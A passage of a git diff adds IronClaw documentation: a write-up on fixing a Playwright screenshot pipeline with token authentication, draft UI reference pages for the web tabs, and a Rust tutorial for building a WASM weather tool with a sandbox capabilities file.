(path) { + const normalizedPath = path.startsWith('/') ? path : `/${path}`; + url = baseUrl.endsWith('/') ? baseUrl.slice(0, -1) : baseUrl; + url = `${url}${normalizedPath}`; + } + + return `${url}?token=${token}`; +} +``` + +### 3. Test Pattern for Client-Side Routes (docs/tests/specs/*.spec.ts) + +```typescript +test('routines tab overview', async ({ page }) => { + // Check if IronClaw is running + const ready = await isIronClawReady(); + if (!ready) { + test.skip(true, 'IronClaw not running'); + return; + } + + // Navigate to root with token + const url = await getIronClawUrlWithToken('/'); + await page.goto(url); + + // Wait for auto-authentication + await page.waitForSelector('#app', { state: 'visible', timeout: 10000 }); + await page.waitForTimeout(500); + + // Click tab for client-side navigation + await page.click('button[data-tab="routines"]'); + await page.waitForTimeout(500); + + // Capture screenshot + await page.screenshot({ + path: '../assets/screenshots/web-routines-overview.png', + fullPage: false, + }); +}); +``` + +### 4. Auto-Detection Script (docs/scripts/capture-screenshots.sh) + +```bash +# Source and export env config +if [ -f "$DOCS_DIR/.env.screenshot" ]; then + echo "Loading configuration from docs/.env.screenshot..." + source "$DOCS_DIR/.env.screenshot" + # Export variables so they're available to child processes + export SCREENSHOT_PORT + export SCREENSHOT_HOST + export IRONCLAW_URL + export IRONCLAW_TOKEN + export SCREENSHOT_VIEWPORT + export HEALTH_TIMEOUT +fi + +# Auto-detect IronClaw port +find_ironclaw_http_port() { + for port in 3000 3001 3002 3003 3004 3005 3006 3007 3008 3009 3010 8080 13001; do + response=$(curl -s -o /dev/null -w "%{http_code}" \ + "http://127.0.0.1:$port/api/health" 2>/dev/null || echo "000") + if [ "$response" = "200" ]; then + echo "$port" + return 0 + fi + done + return 1 +} +``` + +### 5. Package.json Scripts (docs/package.json) + +```json +{ + "scripts": { + "screenshots": "export $(grep -v '^#' .env.screenshot | xargs) && cd tests && pnpm exec playwright test", + "screenshots:list": "export $(grep -v '^#' .env.screenshot | xargs) && cd tests && pnpm exec playwright test --list", + "screenshots:update": "export $(grep -v '^#' .env.screenshot | xargs) && cd tests && pnpm exec playwright test --update-snapshots" + } +} +``` + +## Key Insights + +### IronClaw Web UI Authentication Flow + +The IronClaw web UI (`src/channels/web/static/app.js`) has an `autoAuth()` function that: +1. Extracts token from URL query parameters (`?token=XXX`) +2. Sets the token in the input field +3. Calls `authenticate()` which tests the token against `/api/chat/threads` +4. On success: hides auth screen, shows app, initializes SSE connections +5. Cleans the token from URL (removes it from address bar) + +This means: +- Token MUST be in query parameter format, not Authorization header +- Authentication is asynchronous (need to wait for `#app` to be visible) +- Session is stored in `sessionStorage` for subsequent navigation + +### Client-Side vs Server-Side Routes + +| Route | Type | Access Method | +|-------|------|---------------| +| `/` | Server | Direct navigation OK | +| `/routines` | Client-side | Navigate to `/` first, then click button | +| `/skills` | Client-side | Navigate to `/` first, then click button | +| `/memory` | Client-side | Navigate to `/` first, then click button | +| `/extensions` | Client-side | Navigate to `/` first, then click button | + +## Prevention Strategies + +1. **For SPA Screenshot Tests**: Always authenticate at root first, then use UI interactions for navigation +2. **Environment Variables**: Never assume shell exports propagate; explicitly export or use script loading +3. **URL Construction**: Always put query parameters at the end; use URL builder functions with optional path parameters +4. **Wait for Auth**: Always wait for authentication completion before assuming UI is ready + +## Test Coverage + +The pipeline now captures 6 views: +- Chat interface (`web-chat-overview.png`) +- Extensions tab (`web-extensions-overview.png`) +- Memory tab (`web-memory-overview.png`) +- Routines tab (`web-routines-overview.png`) +- Settings/logs tab (`web-settings-overview.png`) +- Skills tab (`web-skills-list.png`) + +## Related Documentation + +- [Mintlify Documentation](../../../ui-reference/) +- [Playwright Best Practices](https://playwright.dev/docs/best-practices) +- IronClaw web UI source: `src/channels/web/static/app.js` (autoAuth function) + +## File Changes + +``` +docs/ +├── .env.screenshot # Environment configuration +├── package.json # Updated scripts to load env vars +├── scripts/ +│ ├── capture-screenshots.sh # Auto-detection and orchestration +│ └── generate-docs.ts # Metadata for extensions/memory added +├── tests/ +│ ├── fixtures/seed.ts # Fixed URL construction +│ └── specs/ +│ ├── web-chat.spec.ts # Updated with proper waits +│ ├── web-extensions.spec.ts # NEW +│ ├── web-memory.spec.ts # NEW +│ ├── web-routines.spec.ts # Updated for client-side routing +│ ├── web-settings.spec.ts # Updated for client-side routing +│ └── web-skills.spec.ts # Updated for client-side routing +└── assets/screenshots/ # Generated screenshots +``` diff --git a/docs/drafts/solutions/integration-issues/playwright-screenshot-token-auth.md b/docs/drafts/solutions/integration-issues/playwright-screenshot-token-auth.md new file mode 100644 index 0000000000..a5410d8cb5 --- /dev/null +++ b/docs/drafts/solutions/integration-issues/playwright-screenshot-token-auth.md @@ -0,0 +1,167 @@ +--- +title: "Playwright Screenshot Pipeline with Token Authentication" +description: "Building a UI screenshot capture pipeline that auto-authenticates with IronClaw web gateway" +category: integration-issues +date: 2026-03-04 +severity: medium +status: resolved +--- + +## Problem + +Building an automated screenshot documentation pipeline for IronClaw's web gateway UI that: +1. Auto-detects running IronClaw instances +2. Captures screenshots of authenticated views (chat, skills, routines, settings, extensions, memory) +3. Passes authentication tokens correctly to bypass the login screen +4. Works with client-side routed tabs that return 404 when accessed directly + +## Symptoms + +- Screenshots were blank (22KB files showing only the login screen) +- Tests failed with "waiting for locator('#app') to be visible" timeout +- Direct navigation to `/routines`, `/skills`, etc. returned HTTP 404 +- Environment variables from `.env.screenshot` weren't being passed to Playwright + +## Root Cause + +1. **Token URL Construction**: The `getIronClawUrlWithToken()` function was creating malformed URLs like `/?token=TOKEN/skills` when appending paths +2. **Client-Side Routing**: IronClaw's web gateway uses client-side routing; only `/` is served by the backend +3. **Environment Variable Loading**: The `pnpm screenshots` command wasn't loading `.env.screenshot` before running tests +4. **Authentication Flow**: The web UI requires token in URL → auto-authentication → app visibility; tests were timing out before auth completed + +## Solution + +### 1. Fixed URL Construction + +Updated `docs/tests/fixtures/seed.ts`: + +```typescript +export async function getIronClawUrlWithToken(path?: string): Promise { + const baseUrl = await getBaseUrl(); + const token = process.env.IRONCLAW_TOKEN ?? 'screenshot-test-token'; + + // Build the URL: base + path (if provided) + ?token= + let url = baseUrl; + if (path) { + const normalizedPath = path.startsWith('/') ? path : `/${path}`; + url = baseUrl.endsWith('/') ? baseUrl.slice(0, -1) : baseUrl; + url = `${url}${normalizedPath}`; + } + + return `${url}?token=${token}`; +} +``` + +### 2. Updated Test Scripts to Load Environment + +Modified `docs/package.json`: + +```json +{ + "scripts": { + "screenshots": "export $(grep -v '^#' .env.screenshot | xargs) && cd tests && pnpm exec playwright test" + } +} +``` + +This loads `.env.screenshot` variables before running Playwright. + +### 3. Client-Side Navigation Pattern + +Instead of direct navigation to `/routines`, tests now: +1. Navigate to root with token: `/?token=TOKEN` +2. Wait for authentication: `await page.waitForSelector('#app', { state: 'visible' })` +3. Click tab buttons: `await page.click('button[data-tab="routines"]')` + +Example from `docs/tests/specs/web-routines.spec.ts`: + +```typescript +test('routines tab overview', async ({ page }) => { + const ready = await isIronClawReady(); + if (!ready) { + test.skip(true, 'IronClaw not running'); + return; + } + + // Navigate to root with token + const url = await getIronClawUrlWithToken('/'); + await page.goto(url); + + // Wait for auto-authentication + await page.waitForSelector('#app', { state: 'visible', timeout: 10000 }); + await page.waitForTimeout(500); + + // Click the tab (client-side routing) + await page.click('button[data-tab="routines"]'); + await page.waitForTimeout(500); + + // Capture screenshot + await page.screenshot({ + path: '../assets/screenshots/web-routines-overview.png', + fullPage: false, + }); +}); +``` + +### 4. Auto-Detection of IronClaw Port + +The `docs/tests/fixtures/seed.ts` includes port auto-detection: + +```typescript +const CANDIDATE_PORTS = [3000, 3001, 3002, 3003, 3004, 3005, + 3006, 3007, 3008, 3009, 3010, 8080, 13001]; + +async function checkPortHealth(port: number): Promise { + try { + const response = await fetch(`http://127.0.0.1:${port}/api/health`, { + method: 'GET', + signal: AbortSignal.timeout(3000), + }); + return response.status === 200; + } catch { + return false; + } +} +``` + +## Files Changed + +| File | Changes | +|------|---------| +| `docs/package.json` | Added env var loading to screenshots script | +| `docs/tests/fixtures/seed.ts` | Fixed `getIronClawUrlWithToken()` with optional path param | +| `docs/tests/specs/web-chat.spec.ts` | Updated to wait for auth before screenshot | +| `docs/tests/specs/web-routines.spec.ts` | Added tab click for client-side navigation | +| `docs/tests/specs/web-settings.spec.ts` | Added tab click for client-side navigation | +| `docs/tests/specs/web-skills.spec.ts` | Added tab click for client-side navigation | +| `docs/tests/specs/web-extensions.spec.ts` | New test for extensions view | +| `docs/tests/specs/web-memory.spec.ts` | New test for memory view | +| `docs/scripts/capture-screenshots.sh` | Added export statements for env vars | +| `docs/scripts/generate-docs.ts` | Added metadata for extensions and memory | + +## Prevention + +When building screenshot pipelines for SPAs: +1. Verify if routes are client-side (check if direct URL returns 404) +2. Load env vars explicitly in npm scripts +3. Wait for authentication before interacting with the app +4. Use tab/button clicks for client-side navigation, not `page.goto()` + +## Test Commands + +```bash +# Run screenshot tests +cd docs && pnpm screenshots + +# Run specific test +cd docs/tests && pnpm exec playwright test specs/web-chat.spec.ts + +# Run full pipeline +cd /home/opselite/ai_projects/ironclaw-src && bash docs/scripts/capture-screenshots.sh +``` + +## References + +- IronClaw web gateway auth: `src/channels/web/static/app.js` lines 96-114 +- Client-side routing: All tab routes (`/routines`, `/skills`, etc.) handled by JavaScript +- Related: `docs/.env.screenshot` configuration file diff --git a/docs/drafts/ui-reference/chat.mdx b/docs/drafts/ui-reference/chat.mdx new file mode 100644 index 0000000000..0f2ca6e669 --- /dev/null +++ b/docs/drafts/ui-reference/chat.mdx @@ -0,0 +1,35 @@ +--- +title: "Chat Interface" +description: "The main chat interface for interacting with IronClaw" +--- + +## Chat Overview + +The primary interface for communicating with IronClaw. View your conversation history, send new messages, and see responses stream in real-time. + + + Chat Overview + + +### UI Elements + +- **Message History**: Displays the conversation history between you and IronClaw +- **Message Input**: Type your messages or commands here +- **Streaming Indicator**: Shows when IronClaw is generating a response + +### How to Interact + +- **Message History**: Scroll to view older messages; click to select text +- **Message Input**: Click to focus, type your message, press Enter to send +- **Streaming Indicator**: Wait for the indicator to disappear before sending follow-up + +### Usage + +Use the chat interface to ask questions, run commands, or have IronClaw perform tasks. Type your request and press Enter. +### Related Features + +- [skills](/ui-reference/skills) +- [routines](/ui-reference/routines) + +--- + diff --git a/docs/drafts/ui-reference/extensions.mdx b/docs/drafts/ui-reference/extensions.mdx new file mode 100644 index 0000000000..fe1c2b6d73 --- /dev/null +++ b/docs/drafts/ui-reference/extensions.mdx @@ -0,0 +1,37 @@ +--- +title: "Extensions Tab" +description: "Manage MCP and WASM extensions that add new tools and capabilities" +--- + +## Extensions Overview + +View and manage installed extensions. Extensions add new tools and capabilities to IronClaw through the MCP protocol or WASM runtime. + + + Extensions Overview + + +### UI Elements + +- **Extensions List**: Displays all installed MCP and WASM extensions +- **MCP Extensions**: Model Context Protocol extensions that provide tools +- **WASM Extensions**: Sandboxed WebAssembly extensions +- **Install Extension Button**: Opens the extension installation dialog + +### How to Interact + +- **Extensions List**: Scroll to view all extensions; click to view details +- **MCP Extensions**: View tools provided; toggle enabled/disabled +- **WASM Extensions**: View capabilities; manage permissions +- **Install Extension Button**: Click to browse and install new extensions from the registry + +### Usage + +Use Extensions to add new tools to IronClaw. Install MCP servers for ecosystem integrations or WASM tools for sandboxed custom functionality. +### Related Features + +- [settings](/ui-reference/settings) +- [skills](/ui-reference/skills) + +--- + diff --git a/docs/drafts/ui-reference/memory.mdx b/docs/drafts/ui-reference/memory.mdx new file mode 100644 index 0000000000..2a9e38fc47 --- /dev/null +++ b/docs/drafts/ui-reference/memory.mdx @@ -0,0 +1,37 @@ +--- +title: "Memory Tab" +description: "Search and manage persistent memory and workspace documents" +--- + +## Memory Overview + +Search through your persistent memory using hybrid search (full-text + semantic). Access workspace documents and conversation history. + + + Memory Overview + + +### UI Elements + +- **Memory Search**: Hybrid search across all memory documents +- **Memory Tree**: Hierarchical view of memory documents +- **Search Results**: Matching documents with relevance scores +- **New Document Button**: Creates a new memory document + +### How to Interact + +- **Memory Search**: Type to search; results ranked by relevance +- **Memory Tree**: Click folders to expand; click documents to view +- **Search Results**: Click a result to view the full document +- **New Document Button**: Click to add a new document to your workspace + +### Usage + +Use Memory to recall past conversations and access stored documents. The hybrid search combines full-text and semantic matching to find relevant information. +### Related Features + +- [chat](/ui-reference/chat) +- [skills](/ui-reference/skills) + +--- + diff --git a/docs/drafts/ui-reference/routines.mdx b/docs/drafts/ui-reference/routines.mdx new file mode 100644 index 0000000000..5ce80d8fbc --- /dev/null +++ b/docs/drafts/ui-reference/routines.mdx @@ -0,0 +1,37 @@ +--- +title: "Routines Tab" +description: "Manage scheduled and event-triggered routines for automated task execution" +--- + +## Routines Overview + +View and manage all your routines. Routines are automated workflows that trigger on a schedule or in response to events. + + + Routines Overview + + +### UI Elements + +- **Routines List**: Lists all cron and event-triggered routines +- **Cron Routines**: Scheduled routines that run at specific times +- **Event Routines**: Reactive routines triggered by system events +- **Create Routine Button**: Starts the routine creation workflow + +### How to Interact + +- **Routines List**: Scroll to view all routines; click to edit +- **Cron Routines**: View next run time; toggle enabled/disabled +- **Event Routines**: View trigger conditions; edit actions +- **Create Routine Button**: Click to define a new scheduled or event-triggered routine + +### Usage + +Use Routines to automate repetitive tasks. Create cron routines for periodic checks (like every 6 hours) or event routines that respond to system changes. +### Related Features + +- [settings](/ui-reference/settings) +- [chat](/ui-reference/chat) + +--- + diff --git a/docs/drafts/ui-reference/settings.mdx b/docs/drafts/ui-reference/settings.mdx new file mode 100644 index 0000000000..778cec3d5c --- /dev/null +++ b/docs/drafts/ui-reference/settings.mdx @@ -0,0 +1,37 @@ +--- +title: "Settings Tab" +description: "Configure IronClaw providers, extensions, and system preferences" +--- + +## Settings Overview + +Configure your IronClaw instance. Set up LLM providers, manage extensions, and adjust system preferences. + + + Settings Overview + + +### UI Elements + +- **Settings Sections**: Organized categories of configuration options +- **Provider Configuration**: Configure LLM providers (NEAR AI, OpenAI, Anthropic, etc.) +- **Extensions**: Installed MCP and WASM extensions +- **Connection Status**: Shows health of connected services + +### How to Interact + +- **Settings Sections**: Click a section to expand and view its settings +- **Provider Configuration**: Select provider, enter API key, test connection +- **Extensions**: View status, configure, or remove extensions +- **Connection Status**: Click to view detailed connection diagnostics + +### Usage + +Use Settings to configure IronClaw to work with your preferred providers and extensions. Start by setting up at least one LLM provider, then add extensions for additional capabilities. +### Related Features + +- [skills](/ui-reference/skills) +- [chat](/ui-reference/chat) + +--- + diff --git a/docs/drafts/ui-reference/skills.mdx b/docs/drafts/ui-reference/skills.mdx new file mode 100644 index 0000000000..10c729f475 --- /dev/null +++ b/docs/drafts/ui-reference/skills.mdx @@ -0,0 +1,35 @@ +--- +title: "Skills Tab" +description: "Manage and discover skills that extend IronClaw's capabilities" +--- + +## Installed Skills + +View all installed skills with their trust level, version, and activation status. Skills extend IronClaw's capabilities with domain-specific instructions. + + + Installed Skills + + +### UI Elements + +- **Skills List**: Displays all installed skills with metadata +- **Skill Search**: Search for skills by name or description +- **Install Skill Button**: Opens the skill installation dialog + +### How to Interact + +- **Skills List**: Scroll to view all skills; click a skill to view details +- **Skill Search**: Type to filter the skills list in real-time +- **Install Skill Button**: Click to browse and install new skills from the registry + +### Usage + +Use the Skills tab to manage what IronClaw knows. Install skills from the registry to add new capabilities, or view installed skills to understand what's available. +### Related Features + +- [settings](/ui-reference/settings) +- [chat](/ui-reference/chat) + +--- + diff --git a/docs/extensions/building-a-tool.md b/docs/extensions/building-a-tool.md new file mode 100644 index 0000000000..7e2f51f2cb --- /dev/null +++ b/docs/extensions/building-a-tool.md @@ -0,0 +1,648 @@ +--- +title: How to build a tool +description: "Build a weather tool from scratch with Rust" +--- + +In this tutorial you will build **weather-tool** from scratch — a WASM tool that fetches current conditions, a 5-day forecast, and air quality data using the free [Open-Meteo](https://open-meteo.com) API (no API key required). + +By the end you will have a working tool your agent can call like this: + +> "What's the weather in Tokyo right now?" + +The complete source code for this tool is available on GitHub: + + + Browse the full implementation — `lib.rs`, `Cargo.toml`, and `weather-tool.capabilities.json`. + + +--- + +## Prerequisites + +If you don't have Rust yet, install it from [rustup.rs](https://rustup.rs): + +```bash +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +``` + +Then add the WASM target: + +```bash +rustup target add wasm32-wasip2 +``` + +--- + +## 1. Create the project + +```bash +cargo new --lib weather-tool +cd weather-tool +``` + +Replace the generated `Cargo.toml` with: + +```toml Cargo.toml +[package] +name = "weather-tool" +version = "0.1.0" +edition = "2021" +description = "Weather information tool for IronClaw (WASM component)" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +wit-bindgen = "=0.36" +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +[profile.release] +opt-level = "s" +lto = true +strip = true +codegen-units = 1 + +[workspace] +``` + + +`crate-type = ["cdylib"]` tells Cargo to produce a dynamic library — the format WASM components require. `[workspace]` stops Cargo from merging this crate into a parent workspace. + + +--- + +## 2. Wire up the WIT interface + +Every IronClaw tool is a WASM component that implements a WIT interface. The host provides HTTP, logging, and workspace capabilities; your tool exports `execute`, `schema`, and `description`. + +Replace `src/lib.rs` with the following skeleton: + +```rust src/lib.rs +wit_bindgen::generate!({ + world: "sandboxed-tool", + path: "../../wit/tool.wit", // path relative to your Cargo.toml +}); + +use serde::{Deserialize, Serialize}; + +struct WeatherTool; + +impl exports::near::agent::tool::Guest for WeatherTool { + fn execute(req: exports::near::agent::tool::Request) -> exports::near::agent::tool::Response { + match execute_inner(&req.params) { + Ok(result) => exports::near::agent::tool::Response { + output: Some(result), + error: None, + }, + Err(e) => exports::near::agent::tool::Response { + output: None, + error: Some(e), + }, + } + } + + fn schema() -> String { + SCHEMA.to_string() + } + + fn description() -> String { + "Get weather information using Open-Meteo (no API key required). \ + Supports three actions: 'get_current' returns current weather conditions \ + for a city; 'get_forecast' returns a 5-day daily forecast; \ + 'get_air_quality' returns air pollution data for given coordinates." + .to_string() + } +} + +export!(WeatherTool); +``` + +`execute_inner` is where the real logic lives — you will fill it in next. + + +The `wit/tool.wit` file ships with IronClaw. If you are building inside the IronClaw repo (e.g. under `tools-src/my-tool/`), the path `../../wit/tool.wit` is correct. If you are building in a standalone directory, copy `wit/tool.wit` from the repo root and adjust the path accordingly. + + + +If your tool uses private credentials (API keys, OAuth tokens), you still keep the same WIT interface. Secret handling is declared in `*.capabilities.json` and injected by the host at runtime. Your WASM tool should not ask the model for secrets in `params`. + + +--- + +## 3. Define the Execute Logic + +The tool will receive parameters provided by the LLM in JSON format, then execute the right logic based on those parameters and return a result also in JSON format. + +```rust src/lib.rs +#[derive(Debug, Deserialize)] +#[serde(tag = "action", rename_all = "snake_case")] +enum Action { + GetCurrent(WeatherParams), + GetForecast(WeatherParams), + GetAirQuality(AirQualityParams), +} + +#[derive(Debug, Deserialize)] +struct WeatherParams { + city: String, + #[serde(default)] + country_code: Option, + #[serde(default)] + units: Option, // "metric" (default) or "imperial" +} + +#[derive(Debug, Deserialize)] +struct AirQualityParams { + lat: f64, + lon: f64, +} + +fn execute_inner(params: &str) -> Result { + let action: Action = + serde_json::from_str(params).map_err(|e| format!("Invalid parameters: {e}"))?; + + match action { + Action::GetCurrent(p) => get_current(p), + Action::GetForecast(p) => get_forecast(p), + Action::GetAirQuality(p) => get_air_quality(p), + } +} +``` + + + +Remember to match the action names and parameter structure in the JSON schema you will define later. The LLM relies on that schema to know what JSON to send, so if your Rust code expects `country_code` but the schema calls it `country`, the LLM won't know to include it and you'll get errors at runtime. + + + +--- + +## 4. Implement the Actions + +We will now implement the three actions: `get_current`, `get_forecast`, and `get_air_quality`. Each action will call the appropriate Open-Meteo API endpoint, parse the response, and return a JSON string with the relevant information. + + + +If your API needs a secret (for example a bearer token), you do not inject it in these Rust functions manually. + +Instead you will declare them in the [capabilities file](#9-add-secrets-and-auth-for-tools-that-need-credentials) and let the host inject them at runtime. + +Your Rust code just calls `api_get(...)` with the right URL and headers, and the host adds credentials automatically for allowlisted hosts. + +You can still check for the presence of secrets if you want to return a custom error message when credentials are missing: + +```rust +if !near::agent::host::secret_exists("example_api_token") { + return Err("Missing secret: example_api_token. Run: ironclaw tool auth ".into()); +} +``` + + + + +### Geocoding helper + +Open-Meteo needs coordinates, not city names. Add a helper that calls the free geocoding API: + +```rust src/lib.rs +#[derive(Debug, Deserialize)] +struct GeoResult { + latitude: f64, + longitude: f64, + name: String, + country: String, +} + +fn geocode(city: &str, country_code: Option<&str>) -> Result { + let mut url = format!( + "https://geocoding-api.open-meteo.com/v1/search?name={}&count=1&language=en&format=json", + url_encode(city) + ); + if let Some(cc) = country_code { + if !cc.is_empty() { + url.push_str(&format!("&countryCode={}", url_encode(cc))); + } + } + + near::agent::host::log( + near::agent::host::LogLevel::Info, + &format!("Geocoding: {city}"), + ); + + let resp = api_get(&url)?; + let data: serde_json::Value = + serde_json::from_str(&resp).map_err(|e| format!("Failed to parse geocoding: {e}"))?; + + let results = data["results"] + .as_array() + .ok_or_else(|| format!("City not found: {city}"))?; + + if results.is_empty() { + return Err(format!("City not found: {city}")); + } + + let r = &results[0]; + Ok(GeoResult { + latitude: r["latitude"].as_f64().unwrap_or(0.0), + longitude: r["longitude"].as_f64().unwrap_or(0.0), + name: r["name"].as_str().unwrap_or(city).to_string(), + country: r["country"].as_str().unwrap_or("").to_string(), + }) +} +``` + +`near::agent::host::log` emits a structured log line visible in `ironclaw` output. The host collects all log entries and flushes them after the call completes. + +### API helper + +```rust src/lib.rs +fn api_get(url: &str) -> Result { + let headers = serde_json::json!({ + "Accept": "application/json", + "User-Agent": "IronClaw-Weather-Tool/0.1" + }).to_string(); + + let resp = near::agent::host::http_request("GET", url, &headers, None, None) + .map_err(|e| format!("HTTP request failed: {e}"))?; + + if resp.status < 200 || resp.status >= 300 { + return Err(format!("API error (HTTP {}): {}", resp.status, + String::from_utf8_lossy(&resp.body))); + } + + String::from_utf8(resp.body).map_err(|e| format!("Invalid UTF-8 response: {e}")) +} + +fn url_encode(s: &str) -> String { + let mut out = String::with_capacity(s.len() * 2); + for b in s.bytes() { + match b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => { + out.push(b as char); + } + b' ' => out.push_str("%20"), + _ => { + out.push('%'); + out.push(char::from(b"0123456789ABCDEF"[(b >> 4) as usize])); + out.push(char::from(b"0123456789ABCDEF"[(b & 0xf) as usize])); + } + } + } + out +} + +fn wmo_description(code: u32) -> String { + match code { + 0 => "Clear sky", + 1 => "Mainly clear", + 2 => "Partly cloudy", + 3 => "Overcast", + 45 => "Fog", + 51 => "Light drizzle", + 61 => "Slight rain", + 63 => "Moderate rain", + 65 => "Heavy rain", + 71 => "Slight snow", + 73 => "Moderate snow", + 75 => "Heavy snow", + 80 => "Slight rain showers", + 95 => "Thunderstorm", + _ => "Unknown", + }.to_string() +} + +fn european_aqi_label(aqi: u32) -> String { + match aqi { + 0..=20 => "Good", + 21..=40 => "Fair", + 41..=60 => "Moderate", + 61..=80 => "Poor", + 81..=100 => "Very Poor", + _ => "Extremely Poor", + }.to_string() +} +``` + +### Get current weather + +```rust +fn get_current(params: WeatherParams) -> Result { + if params.city.is_empty() { + return Err("'city' must not be empty".into()); + } + + let geo = geocode(¶ms.city, params.country_code.as_deref())?; + let units = params.units.as_deref().unwrap_or("metric"); + let temp_unit = if units == "imperial" { "fahrenheit" } else { "celsius" }; + let wind_unit = if units == "imperial" { "mph" } else { "ms" }; + + let url = format!( + "https://api.open-meteo.com/v1/forecast\ + ?latitude={}&longitude={}\ + ¤t=temperature_2m,apparent_temperature,relative_humidity_2m,\ + weather_code,wind_speed_10m\ + &temperature_unit={}&wind_speed_unit={}", + geo.latitude, geo.longitude, temp_unit, wind_unit + ); + + let resp = api_get(&url)?; + let data: serde_json::Value = + serde_json::from_str(&resp).map_err(|e| format!("Failed to parse response: {e}"))?; + + let current = &data["current"]; + let output = CurrentWeatherOutput { + city: geo.name, + country: geo.country, + temperature: current["temperature_2m"].as_f64().unwrap_or(0.0), + feels_like: current["apparent_temperature"].as_f64().unwrap_or(0.0), + humidity: current["relative_humidity_2m"].as_u64().unwrap_or(0) as u32, + description: wmo_description(current["weather_code"].as_u64().unwrap_or(0) as u32), + wind_speed: current["wind_speed_10m"].as_f64().unwrap_or(0.0), + units: units.to_string(), + }; + + serde_json::to_string(&output).map_err(|e| format!("Serialization error: {e}")) +} +``` + +### Get forecast + +```rust src/lib.rs +fn get_forecast(params: WeatherParams) -> Result { + if params.city.is_empty() { + return Err("'city' must not be empty".into()); + } + + let geo = geocode(¶ms.city, params.country_code.as_deref())?; + let units = params.units.as_deref().unwrap_or("metric"); + let temp_unit = if units == "imperial" { "fahrenheit" } else { "celsius" }; + let wind_unit = if units == "imperial" { "mph" } else { "ms" }; + + let url = format!( + "https://api.open-meteo.com/v1/forecast\ + ?latitude={}&longitude={}\ + &daily=temperature_2m_max,temperature_2m_min,weather_code,\ + precipitation_probability_max\ + &temperature_unit={}&wind_speed_unit={}&forecast_days=5", + geo.latitude, geo.longitude, temp_unit, wind_unit + ); + + let resp = api_get(&url)?; + let data: serde_json::Value = + serde_json::from_str(&resp).map_err(|e| format!("Failed to parse response: {e}"))?; + + let daily = &data["daily"]; + let times = daily["time"].as_array().cloned().unwrap_or_default(); + let temp_max = daily["temperature_2m_max"].as_array().cloned().unwrap_or_default(); + let temp_min = daily["temperature_2m_min"].as_array().cloned().unwrap_or_default(); + let codes = daily["weather_code"].as_array().cloned().unwrap_or_default(); + let precip = daily["precipitation_probability_max"].as_array().cloned().unwrap_or_default(); + + let entries = times.iter().enumerate().map(|(i, t)| ForecastEntry { + date: t.as_str().unwrap_or("").to_string(), + temp_max: temp_max.get(i).and_then(|v| v.as_f64()).unwrap_or(0.0), + temp_min: temp_min.get(i).and_then(|v| v.as_f64()).unwrap_or(0.0), + description: wmo_description(codes.get(i).and_then(|v| v.as_u64()).unwrap_or(0) as u32), + precipitation_probability_max: precip.get(i).and_then(|v| v.as_u64()).unwrap_or(0) as u32, + }).collect(); + + let output = ForecastOutput { city: geo.name, country: geo.country, units: units.to_string(), entries }; + serde_json::to_string(&output).map_err(|e| format!("Serialization error: {e}")) +} +``` + +### Get air quality + +```rust src/lib.rs +fn get_air_quality(params: AirQualityParams) -> Result { + if params.lat < -90.0 || params.lat > 90.0 { + return Err(format!("'lat' must be -90..90, got {}", params.lat)); + } + if params.lon < -180.0 || params.lon > 180.0 { + return Err(format!("'lon' must be -180..180, got {}", params.lon)); + } + + let url = format!( + "https://air-quality-api.open-meteo.com/v1/air-quality\ + ?latitude={}&longitude={}\ + ¤t=pm10,pm2_5,european_aqi", + params.lat, params.lon + ); + + let resp = api_get(&url)?; + let data: serde_json::Value = + serde_json::from_str(&resp).map_err(|e| format!("Failed to parse response: {e}"))?; + + let current = &data["current"]; + let aqi = current["european_aqi"].as_u64().unwrap_or(0) as u32; + + let output = AirQualityOutput { + lat: params.lat, + lon: params.lon, + european_aqi: aqi, + aqi_label: european_aqi_label(aqi), + pm2_5: current["pm2_5"].as_f64().unwrap_or(0.0), + pm10: current["pm10"].as_f64().unwrap_or(0.0), + }; + + serde_json::to_string(&output).map_err(|e| format!("Serialization error: {e}")) +} +``` + +--- + +## 5. Define the JSON schema + +The `SCHEMA` constant tells the LLM exactly what JSON to send. Use `oneOf` because the three actions have different required fields: + +```rust src/lib.rs +const SCHEMA: &str = r#"{ + "oneOf": [ + { + "type": "object", + "description": "Get current weather conditions for a city", + "properties": { + "action": { "type": "string", "const": "get_current" }, + "city": { "type": "string", "description": "City name, e.g. 'Tokyo'" }, + "country_code": { "type": "string", "description": "ISO 3166-1 alpha-2 code, e.g. 'JP'" }, + "units": { "type": "string", "enum": ["metric", "imperial"] } + }, + "required": ["action", "city"], + "additionalProperties": false + }, + { + "type": "object", + "description": "Get a 5-day daily weather forecast for a city", + "properties": { + "action": { "type": "string", "const": "get_forecast" }, + "city": { "type": "string" }, + "country_code": { "type": "string" }, + "units": { "type": "string", "enum": ["metric", "imperial"] } + }, + "required": ["action", "city"], + "additionalProperties": false + }, + { + "type": "object", + "description": "Get air quality data for a location by coordinates", + "properties": { + "action": { "type": "string", "const": "get_air_quality" }, + "lat": { "type": "number", "description": "Latitude (-90 to 90)" }, + "lon": { "type": "number", "description": "Longitude (-180 to 180)" } + }, + "required": ["action", "lat", "lon"], + "additionalProperties": false + } + ] +}"#; +``` + +--- + +## 6. Declare capabilities + +Create `weather-tool.capabilities.json` next to `Cargo.toml`. This file is the sandbox allowlist — any host not listed here is blocked at runtime: + +```json weather-tool.capabilities.json +{ + "version": "0.1.0", + "wit_version": "0.3.0", + "http": { + "allowlist": [ + { + "host": "geocoding-api.open-meteo.com", + "path_prefix": "/v1/", + "methods": ["GET"] + }, + { + "host": "api.open-meteo.com", + "path_prefix": "/v1/", + "methods": ["GET"] + }, + { + "host": "air-quality-api.open-meteo.com", + "path_prefix": "/v1/", + "methods": ["GET"] + } + ], + "rate_limit": { + "requests_per_minute": 60, + "requests_per_hour": 500 + }, + "timeout_secs": 15 + } +} +``` + +The weather tool needs three hosts because `get_current` and `get_forecast` make two requests each: one to geocode the city name and one to fetch the weather data. + +--- + +## 7. Add secrets and auth (for tools that need credentials) + +This weather tool uses Open-Meteo, so it does not need a secret. If your tool calls an API that needs a token, declare that in the capabilities file so IronClaw can inject it at request time. + +Example capability sections (pattern used in `tools-src/*` on the IronClaw repo): + +```json weather-tool.capabilities.json +{ + "http": { + "allowlist": [ + { + "host": "api.example.com", + "path_prefix": "/v1/", + "methods": ["GET", "POST"] + } + ], + "credentials": { + "example_api_token": { + "secret_name": "example_api_token", + "location": { "type": "bearer" }, + "host_patterns": ["api.example.com"] + } + } + 